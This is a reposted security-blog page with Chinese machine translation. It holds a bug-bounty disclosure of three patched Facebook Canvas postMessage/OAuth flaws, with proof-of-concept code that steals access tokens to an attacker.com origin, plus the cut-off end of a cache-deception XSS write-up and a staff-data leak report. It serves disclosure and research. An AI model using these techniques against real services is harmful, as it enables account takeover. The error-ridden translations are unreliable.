The attacker just needs to create a special URL (/img/..%2faccount/attacker/), so Nuster applies an “aggressive caching” rule, still, the web app returns a response of self XSS (it sees ‘/account/attacker/`). The response with an XSS payload will be cached by Nuster (with the key: Host + /img/..%2faccount/attacker/), so the attacker will be able to misuse this cache to XSS attack other users of the web application.From the self-XSS, we’ve got a usual XSS.

攻击者只需要创建一个特殊的 URL (/img/。.% 2faccount/攻击者/) ,因此 Nuster 应用了“侵略性缓存”规则,但 web 应用程序仍然返回一个 self XSS 响应(它看到的是“/account/攻击者/”)。带有 XSS 有效负载的响应将由 Nuster (键: Host +/img/)缓存。.% 2 faccount/攻击者/) ,因此攻击者可以滥用此缓存来攻击 web 应用程序的其他用户。从 self-XSS 中,我们得到了一个常用的 XSS。

【转载】【漏洞分析】More secure Facebook Canvas : Tale of $126k worth of bugs that lead to Facebook Account Takeovers

Summery

夏天

Facebook allowed online games owners to host their games/applications in apps.facebook.com for many years now. The idea and technology behind it was that the game ( Flash or HTML5 based) would be hosted in the owner website and later the website page hosting it should be shown to the Facebook user in apps.facebook.com inside a controlled iframe. Since the game is not hosted in Facebook and for best user experience like keeping score and profile data, Facebook had to establish a communication channel with the game owner to verify the identity of the Facebook user for example. This was ensured by using cross windows communication/messaging between apps.facebook.com and the game website inside the iframe. In this blog post, i’ll be discussing multiple vulnerabilities i found in this implementation.

Facebook 已经允许在线游戏的拥有者多年以来一直在 apps.Facebook.com 地区主持他们的游戏/应用程序。其背后的想法和技术是,这款游戏(基于 Flash 或 HTML5)将托管在所有者网站上,随后托管该游戏的网站页面应该显示在一个控制的 iframe 内的 Facebook 用户 apps.Facebook.com。由于游戏不在 Facebook 上托管,为了获得最好的用户体验,比如保存分数和个人资料,Facebook 不得不建立一个与游戏所有者的沟通渠道来验证 Facebook 用户的身份。这是通过使用 iframe 中的 apps.facebook.com 和游戏网站之间的跨窗口通信/消息来确保的。在这篇博文中,我将讨论在这个实现中发现的多个漏洞。

Vulnerabilities potential

潜在的脆弱性

These bugs were found after careful auditing of the client-side code inside apps.facebook.com responsible of verifying what’s coming through this channel. The bugs explained below (and others) allowed me to takeover any Facebook account if the user decided to visit my game page inside apps.facebook.com. The severity of these bugs is high since these were present for years and billions of user and their information could have been compromised easily since this was served from inside Facebook. Facebook confirmed they didn’t see any indicators of previous abuse or exploitation of these bugs.

这些错误是在对负责验证通过这个通道的 apps.facebook.com 内部的客户端代码进行仔细审计后发现的。如果用户决定访问我的游戏页面,下面解释的 bug (以及其他 bug)允许我接管任何 Facebook 账户,只要用户决定访问我的游戏 apps.Facebook.com。这些漏洞的严重程度很高,因为这些漏洞已经存在多年,而且由于这些漏洞是从 Facebook 内部提供的,数十亿用户和他们的信息可能很容易被泄露。确认他们没有看到任何先前滥用或利用这些漏洞的迹象。

For Researchers

供研究人员使用

Before explaining the actual bugs below, i tried to show the way i decomposed the code and a simplified path to track the flow of the message data and how its components will be used. I probably didn’t left much to dig but i hope the information shared could help you in your research. If you are only interested in the bugs themselves then jump to each bug section part.

在解释下面的实际错误之前,我试图展示我分解代码的方法和一个简化的路径来跟踪消息数据流以及它的组件将如何使用。我可能没有留下太多可挖掘的信息,但我希望分享的信息可以帮助你的研究。如果您只对 bug 本身感兴趣,那么就跳到每个 bug 部分。

Description

描述

So far we know that the game page being served inside an iframe in apps.facebook.com is communicating with the parent window to ask Facebook to do some actions. Among the requested actions , for example , is to show a dialog to the user that would allow him to confirm the usage of the Facebook application owned by the game developers which would help me to identify you and get some information from an access token that they’ll receive if the user decided to user the application. The script responsible of receiving the cross window messages, interpreting them and understanding the action demanded is below ( only necessary parts are shown and as they were before the bugs were fixed ) :

到目前为止,我们知道在 apps.Facebook.com 的 iframe 中提供的游戏页面正在与父窗口通信,要求 Facebook 做一些操作。例如,在要求的操作中,向用户显示一个对话框,允许他确认游戏开发者拥有的 Facebook 应用程序的使用情况,这将帮助我识别你,并从一个访问令牌中获取一些信息,如果用户决定使用该应用程序,他们将收到这些信息。下面的脚本负责接收跨窗口消息,解释它们并理解需要的操作(只显示必要的部分,并且在修复 bug 之前是这样的) :

__d("XdArbiter", ...
            handleMessage: function(a, b, e) {
                d("Log").debug("XdArbiter at " + (window.name != null && window.name !== "" ? window.name : window == top ? "top" : "[no name]") + " handleMessage " + JSON.stringify(a));
                if (typeof a === "string" && /^FB_RPC:/.test(a)) {
                    k.enqueue([a.substring(7), {
                        origin: b,
                        source: e || i[h]
                    }]);
           ...
            send: function(a, b, e) {
                var f = e in i ? e : h;
                a = typeof a === "string" ? a : c("QueryString").encode(a);
                b = b;
                try {
                    d("SecurePostMessage").sendMessageToSpecificOrigin(b, a, e)
                } catch (a) {
                    d("Log").error("XdArbiter: Proxy for %s not available, page might have been navigated: %s", f, a.message), delete i[f]
                }
                return !0
            }
...

    window.addEventListener("message", function(a) {
        if (a.data.xdArbiterSyn) d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
            xdArbiterAck: !0
        });
        else if (a.data.xdArbiterRegister) {
            var b = l.register(a.source, a.data.xdProxyName, a.data.origin, a.origin);
            d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
                xdArbiterRegisterAck: b
            })
        } else a.data.xdArbiterHandleMessage && l.handleMessage(a.data.message, a.data.origin, a.source)
}), 98);

__d("JSONRPC", ...
        c.read = function(a, c) {
            ...
            e = this.local[a.method];
            try {
                e = e.apply(c || null, a.params);
                typeof e !== "undefined" && g("result", e)
            ...
    e.exports = a
}), null);

__d("PlatformAppController", ...
function f(a, b, e) { ...
         c("PlatformDialogClient").async(f, a, function(d) { ... b(d) });
}...
t.local.showDialog = f;

...

t = new(c("JSONRPC"))(function(a, b) {
            var d = b.origin || k;
            b = b.source;
            if (b == null) {
                var e = c("ge")(j);
                b = e.contentWindow
            }
            c("XdArbiter").send("FB_RPC:" + a, b, d)
        }
...

}), null);

__d("PlatformDialogClient", ...
function async(a, b, e) {
        var f = c("guid")(),
            g = b.state;
        b.state = f;
        b.redirect_uri = new(c("URI"))("/dialog/return/arbiter").setSubdomain("www").setFragment(c("QueryString").encode({
            origin: b.redirect_uri
        })).getQualifiedURI().toString();
        b.display = "async";
        j[f] = {
            callback: e || function() {},
            state: g
        };
        e = "POST";
        d("AsyncDialog").send(new(c("AsyncRequest"))(this.getURI(a, b)).setMethod(e).setReadOnly(!0).setAbortHandler(k(f)).setErrorHandler(l(f)))
    }
...
function getURI(a, b) {
        if (b.version) {
            var d = new(c("URI"))("/" + b.version + "/dialog/" + a);
            delete b.version;
            return d.addQueryData(b)
        }
        return c("PlatformVersioning").versionAwareURI(new(c("URI"))("/dialog/" + a).addQueryData(b))
    }

}), 98);

To simplify the code for you to understand the flow in case someone decides to dig more into it and looks for more bugs :

为了简化代码,以便你能够理解流程,以防有人决定深入挖掘代码并寻找更多的 bug:

Iframe sends message to parent => Message event dispatched in XdArbiter => Message handler function passes data to handleMessage function => “enqueue” function passes to JSONRPC => JSONRPC.read calls this.local.showDialog function in PlatformAppController => function checks message and if all valid, call PlatformDialogClient => PlatformDialogClient.async sends a POST request to apps.facebook.com/dialog/oauth , returned access_token would be passed to XdArbiter.send function ( few steps were skipped ) => XdArbiter.send would send a cross window message to the iframe window => Event dispatched in iframe window containing Facebook user access_token

在 XdArbiter = > Message handler 函数中,iframesend Message to parent = > Message Event delayed in XdArbiter = > Message handler function passes data to handleMessage function = > “ enqueue”function passes to JSONRPC = > JSONRPC.read calls this.local.showDialog function in PlatformAppController = > function checking Message and if all valid,call platformdialoggclient = > platformasyngoaldialog.c 向 apps.Facebook.com/dialog/oauth 发送 POST 请求,返回的访问权限将传递给 XdArbiter.send 函数(跳过了几个步骤) = > xbiter.send 将向 Iframe 窗口发送一个跨窗口消息,窗口中包含 Facebook 用户访问权限

Below an example of a simple code to construct the message to be sent to apps.facebook.com from the iframe, a similar one would be send from any game page using the Facebook Javascript SDK but with more unnecessary parts:

下面是一个简单的代码示例,用来构造要从 iframe 发送给 apps.Facebook.com 的消息,类似的代码可以从任何使用 Facebook Javascript SDK 的游戏页面发送,但是有更多不必要的部分:

 msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://ysamm.com/callback","app_id":"APP_ID","client_id":"APP_ID","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg , origin: IFRAME_ORIGIN}
window.parent.postMessage(fullmsg,"*");

Interested parts to manipulate are :
IFRAME_ORIGIN, which is the one to be used in the redirect_uri parameter send with the POST request to apps.facebook.com/dialog/oauth to be verified server-side that it’s a domain owned by the application requesting an access_token, then would be used as targetOrigin in postMessage to send a cross window message to the iframe with the access_token
– Keys and values of the object inside params , there are the parameters to be appended to apps.facebook.com/dialog/oauth. Most interesting ones are redirect_uri ( which can replace IFRAME_ORIGIN in the POST request in some cases ) and APP_ID

感兴趣的操作部分是:-IFRAME _ origin,这是一个用于 redirect _ uri 参数发送的 POST 请求被验证的服务器端的 apps.facebook.com/dialog/oauth ,它是一个域的应用程序拥有的请求访问令牌,然后将用作 postMessage 的 targetOrigin 发送一个跨窗口消息与 access _ 令牌键和对象内部参数值的 IFRAME,有参数被附加到 apps.facebook.com/dialog/oauth。最有趣的是 redirect _ uri (在某些情况下可以替换 POST 请求中的 IFRAME _ origin)和 APP _ id

Attacks vectors/scenarios

攻击载体/场景

What we’ll do here is to try to instead of requesting an access token for the game application we own, we’ll try to get one of a Facebook first party application like Instagram. What’s holding us back is although we control the IFRAME_ORIGIN and APP_ID which we can set to match the Instagram application as http://www.instagram.com and 124024574287414, later the message sent to the iframe containing the first party access token would have a targetOrigin in postMessage as http://www.instagram.com which is not our window origin. Facebook did a good job protecting against these attacks ( i’ll argue though to why not using the origin from the event message received and matching app_id to the hosted game instead of giving us total freedom which could have prevented all these bugs ), but apparently they left some weaknesses that could have been exploited for many years.

我们在这里要做的不是为我们拥有的游戏应用程序申请访问令牌,而是尝试获得一个像 Instagram 这样的 Facebook 第一方应用程序。尽管我们可以设置 IFRAME origin 和 APP id 来匹配 Instagram 应用程序的 http://www.Instagram.com 和124024574287414,但是之后发送给包含第一方访问令牌的 IFRAME 的消息在 postMessage 中会有一个 targetOrigin,这不是我们的窗口 http://www.Instagram.com。Facebook 在防御这些攻击方面做得很好(我想说的是为什么不使用收到的事件消息的来源,并将 app _ id 与托管的游戏进行匹配,而不是给予我们完全的自由,这本可以避免所有这些 bug) ,但是显然他们留下了一些可能被利用多年的弱点。

Bug 1: Parameter Pollution, it was checked server-side and we definitely should trust it

缺陷1: 参数污染,它是检查服务器端,我们绝对应该信任它

This bug occurs due to the fact that the POST request to https://apps.facebook.com/dialog/oauth when constructed from the received message from the iframe, could contain user controlled parameters.
All parameters are checked in the client-side ( PlatformAppController, showDialog method and ,PlatformDialogClient.async method) and duplicate parameters will be removed in PlatformAppController , also AsyncRequest module seems to be doing some filtering ( removing parameters that already exist but brackets were appended to it ).

However due to some missing checking in the server-side, a parameter name set to PARAM[random would replace a previously set parameter PARAM ; for example redirect_uri[0 parameter value would replace redirect_uri. We can abuse this as follow :
1) Set APP_ID to be the Instagram application id.
2) The redirect_uri will be constructed in PlatformDialogClient.async (Line 72 ) using IFRAME_ORIGIN ( will end up https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ) , which would be sent matching our iframe window origin but won’t be used at all as explained below.
3) Set redirect_uri[0 in params as an additional parameter ( order matters so it must be after redirect_uri ) to be https://www.instagram.com/accounts/signup/ which is a valid redirect_uri for the Instagram applicaiton.
The URL of the POST request end up being something like this:

这个错误是因为当从 iframe 接收到的消息构造 POST 请求到 https://apps.facebook.com/dialog/oauth 时,可能包含用户控制的参数。所有参数都在客户端检查(PlatformAppController、 showDialog 方法和 PlatformDialogClient.async 方法) ,重复的参数将在 PlatformAppController 中删除,AsyncRequest 模块似乎正在进行一些过滤(删除已经存在的参数,但添加了括号)。然而,由于服务器端缺少检查,设置为 PARAM [ random 的参数名将替换以前设置的参数 PARAM; 例如 redirect _ uri [0参数值将替换 redirect _ uri。我们可以这样滥用: 1)设置 APP _ id 为 Instagram 应用程序 id。2) redirect _ uri 将使用 IFRAME _ origin 在 PlatformDialogClient.async (第72行)中构建,它将被发送到与 IFRAME 窗口原点相匹配的 https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ,但不会像下面解释的那样被使用。3)设置 redirect _ uri [0 in params 作为一个额外的参数(顺序很重要,所以必须在 redirect _ uri 之后)为 https://www.Instagram.com/accounts/signup/ ,这是 Instagram 应用程序的一个有效 redirect _ uri。请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com&app_id=124024574287414&client_id=124024574287414&response_type=token&redirect_uri[0=https://www.instagram.com/accounts/signup/

The request would end up being successful and returning a first party access token since redirect_uri[0 replaces redirect_uri and it’s a valid redirect_uri. In the client side though, the logic is if an access_token was received it means that the origin used to construct the redirect_uri did work with the app_id and for that it should trust it and use to send the message to the iframe, behind the scenes though redirect_uri[0 was used and not redirect_uri ( Cool right?)

Proof of concept

因为 redirect _ uri [0替换了 redirect _ uri,而且它是一个有效的 redirect _ uri,所以请求最终会成功并返回一个第一方访问令牌。但是在客户端,逻辑是,如果接收到一个访问令牌,这意味着用于构造 redirect _ uri 的原点确实与 app _ id 一起工作,因此它应该信任它,并用它将消息发送到 iframe,在幕后虽然 redirect _ uri [0被使用而不是 redirect _ uri (Cool right?))概念验证

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://attacker.com/callback","app_id":"124024574287414","client_id":"124024574287414","response_type":"token","redirect_uri[0":"https://www.instagram.com/accounts/signup/"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Bug 2: Why bothering, Origin is undefined

为什么这么麻烦,起源还没有定义

The main problem for this one is that /dialog/oauth endpoint would accept https://www.facebook.com/dialog/return/arbiter as a valid redirect_uri ( without a valid origin in the fragment part ) for third-party applications and some first-party ones.
The second problem is that this behaviour to occur ( no origin in the fragment part ), the message sent from the iframe to apps.facebook.com should not contain a.data.origin ( IFRAME_ORIGIN is undefined ) , however this same value would be used later to send a cross window message to the iframe, if null or undefined is used, the message won’t be received.
Likely, i noticed that JSONRPC function would always receive a not null origin of the postMessage ( Line 55 ) . Since b.origin is undefined or null, k would be chosen. k could be set by the attacker by first registering a valid origin via c(“Arbiter”).subscribe(“XdArbiter/register”) which could be informed if our message had xdArbiterRegister and a specified origin . Before “k” variable is set, the supplied origin would be checked first if it belongs to the attacker application using “/platform/app_owned_url_check/” endpoint.
This is wrong and the second problem occurs here since we can’t ensure that the user in the next cross origin message sent from the iframe would supply the same APP_ID.

对于第三方应用程序和一些第一方应用程序来说,/dialog/oauth 端点将接受 https://www.facebook.com/dialog/return/arbiter 作为一个有效的 redirect _ uri (片段部分没有有效的起点)。第二个问题是,这种行为会发生(片段部分没有原点) ,从 IFRAME 发送到 apps.facebook.com 的消息不应该包含 a.data.origin (IFRAME _ origin 未定义) ,但是这个相同的值稍后会被用来向 IFRAME 发送跨窗口消息,如果使用 null 或未定义,消息将不会被接收。很可能,我注意到 JSONRPC 函数总是会接收到一个非空的 postMessage 原点(第55行)。由于 b.origin 未定义或为 null,因此将选择 k。攻击者可以通过 c 注册一个有效的源(“仲裁者”)来设置 k。订阅(“ XdArbiter/register”) ,如果我们的消息具有 xdArbiterRegister 和指定的来源,就可以通知它。在设置“ k”变量之前,如果提供的原点属于使用“/platform/app _ owned _ url _ check/”端点的攻击者应用程序,那么将首先检查它。这是错误的,这里发生了第二个问题,因为我们不能确保从 iframe 发送的下一个跨源消息中的用户将提供相同的 APP _ id。

Not all first-party applications are vulnerable to this though. I used the Facebook Watch for Android application or Portal to get a first party access_token.

不过,并非所有第一方应用程序都容易受到这种攻击。我用 Facebook Watch for Android 应用程序或 Portal 获得了第一方访问令牌。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

window.parent.postMessage({xdArbiterRegister:true,origin:"https://attacker.com"},"*")

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","app_id":"1348564698517390","client_id":"1348564698517390","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg}
window.parent.postMessage(fullmsg,"*");

Bug 3: Total Chaos, version can’t be harmful

完全混乱,版本不会有害

This bug one occurs in PlatformDialogClient.getURI function which is responsible of setting the API version before /dialog/oauth endpoint. This function didn’t check for double dots or added paths and directly constructed a URI object to be used later to send an XHR request ( Line 86 ).
The version property in params passed in the cross window message sent to apps.facebook.com could be set to api/graphql/?doc_id=DOC_ID&variables=VAR# and would eventually lead to a POST request sent to the GraphQL endpoint with valid user CSRF token.

这个 bug 出现在 PlatformDialogClient.getURI 函数中,该函数负责在/dialog/oauth 端点之前设置 API 版本。这个函数没有检查双点或添加路径,而是直接构造了一个 URI 对象,以便稍后用于发送 XHR 请求(第86行)。传递给 apps.facebook.com 的跨窗口消息中的参数中的 version 属性可以设置为 api/graphql/?DOC _ id = DOC _ id & variables = VAR # ,并最终导致使用有效的用户 CSRF 令牌向 GraphQL 端点发送 POST 请求。

DOC_ID and VAR could be set to an id of a GraphQL Mutation to add a phone number to the attacount, and the variables of this mutation.

DOC _ id 和 VAR 可以设置为一个 GraphQL Mutation 的 id,以便向 attacount 添加一个电话号码,以及此变异的变量。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/api/graphql?doc_id=DOC_ID&variables=VAR&?/dialog/oauth&state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=attacker&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","client_id":"APP_ID","response_type":"token","version":"api/graphql?doc_id=DOC_ID&variables=VAR&"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Timeline

时间轴

  1. Aug 4, 2021— Report Sent  2021年8月4日ー发送报告
    Aug 4, 2021—  Acknowledged by Facebook 2021年8月4日ー Facebook 承认
    Aug 6, 2021— Fixed by Facebook 2021年8月6日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏
  2. Aug 9, 2021— Report Sent  2021年8月9日ー发送报告
    Aug 9, 2021—  Acknowledged by Facebook 2021年8月9日ー Facebook 承认
    Aug 12, 2021— Fixed by Facebook 2021年8月12日ー Facebook 修复
    Aug 31, 2021 — $42000 bounty awarded by Facebook. 2021年8月31日ー Facebook 奖励4.2万美元
  3. Aug 12, 2021— Report Sent  2021年8月12日ー发送报告
    Aug 13, 2021—  Acknowledged by Facebook 2021年8月13日ー Facebook 承认
    Aug 17, 2021— Fixed by Facebook 2021年8月17日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏

【转载】【漏洞分析】Information Disclosure via External Live Chat Service

Hi folks!

嗨,伙计们!

I hope you’re all safe and good. Today’s writeup I explains how I was able to fetch website staffs first names, phone numbers, e-mail address through external live chat service.

我希望你们都平安无事。今天的写作我解释了我是如何通过外部实时聊天服务获取网站工作人员的姓名、电话号码、电子邮件地址的。

I found this vulnerability in HackerOne at a private program. So we can call that program as redacted.com . Firstly, I looked for a live chat service on main domain but I can’t found anything. Then, I registered to website. Now I can see live chat is there. I sent some messages to live chat service. But seems it’s a auto reply chat service. I lost my momentary joy.

我在 HackerOne 的一个私人项目中发现了这个漏洞。所以我们可以把这个程序命名为 recated.com。首先,我在主域名上寻找一个在线聊天服务,但是我找不到任何东西。然后,我注册了一个网站。现在我可以看到在线聊天是有的。我发了一些消息到在线聊天服务。但它似乎是一个自动回复聊天服务。我失去了瞬间的快乐。

After I finished my research on main domain, I started to examine request history in Burp Suite. I saw a https://api.redactedchatservice.com/restapi/v1/team/user/members?access-token=jwttokenrequest.

在完成了对主域的研究之后,我开始检查 Burp Suite 中的请求历史。我看到了一个 https://api.redactedchatservice.com/restapi/v1/team/user/members?access-token=jwttokenrequest。

Well, probably I found 298 phone numbers of live support agents!

也许我找到了298个现场支援人员的电话号码!

Then I checked a phone number’s WhatsApp account to verify if it was a physical (real) sim card. Yes! That phone number have a WhatsApp acount, so it’s a physical phone number. And then I immediately reported it.

然后我检查了一个电话号码的 WhatsApp 账户,以确认这是否是一张实体的(真实的) sim 卡。太好了!这个电话号码有一个 WhatsApp 账号,所以它是一个实体电话号码。然后我立刻报告了这件事。

Report Timeline

报告时间表

  • Submitted on July 2, 2021 2021年7月2日提交
  • Fixed on July 6, 2021 2021年7月6日固定
  • $$$ bounty awarded on July 20, 2021 as Medium severity. 二○二一年七月二十日颁发中等严重程度港币奖金
My react after report triaged 😀 我的反应后报告分类: d

Thanks for reading my first writeup. Happy to share this find with you all. If you found anything interesting feel free to share. DM me on Twitter if you have any queries. Stay home and stay safe! ♥

感谢阅读我的第一篇文章。很高兴与大家分享这一发现。如果你发现任何有趣的东西,请随时分享。如果你有任何疑问,可以在推特上给我留言。呆在家里,注意安全!别忘了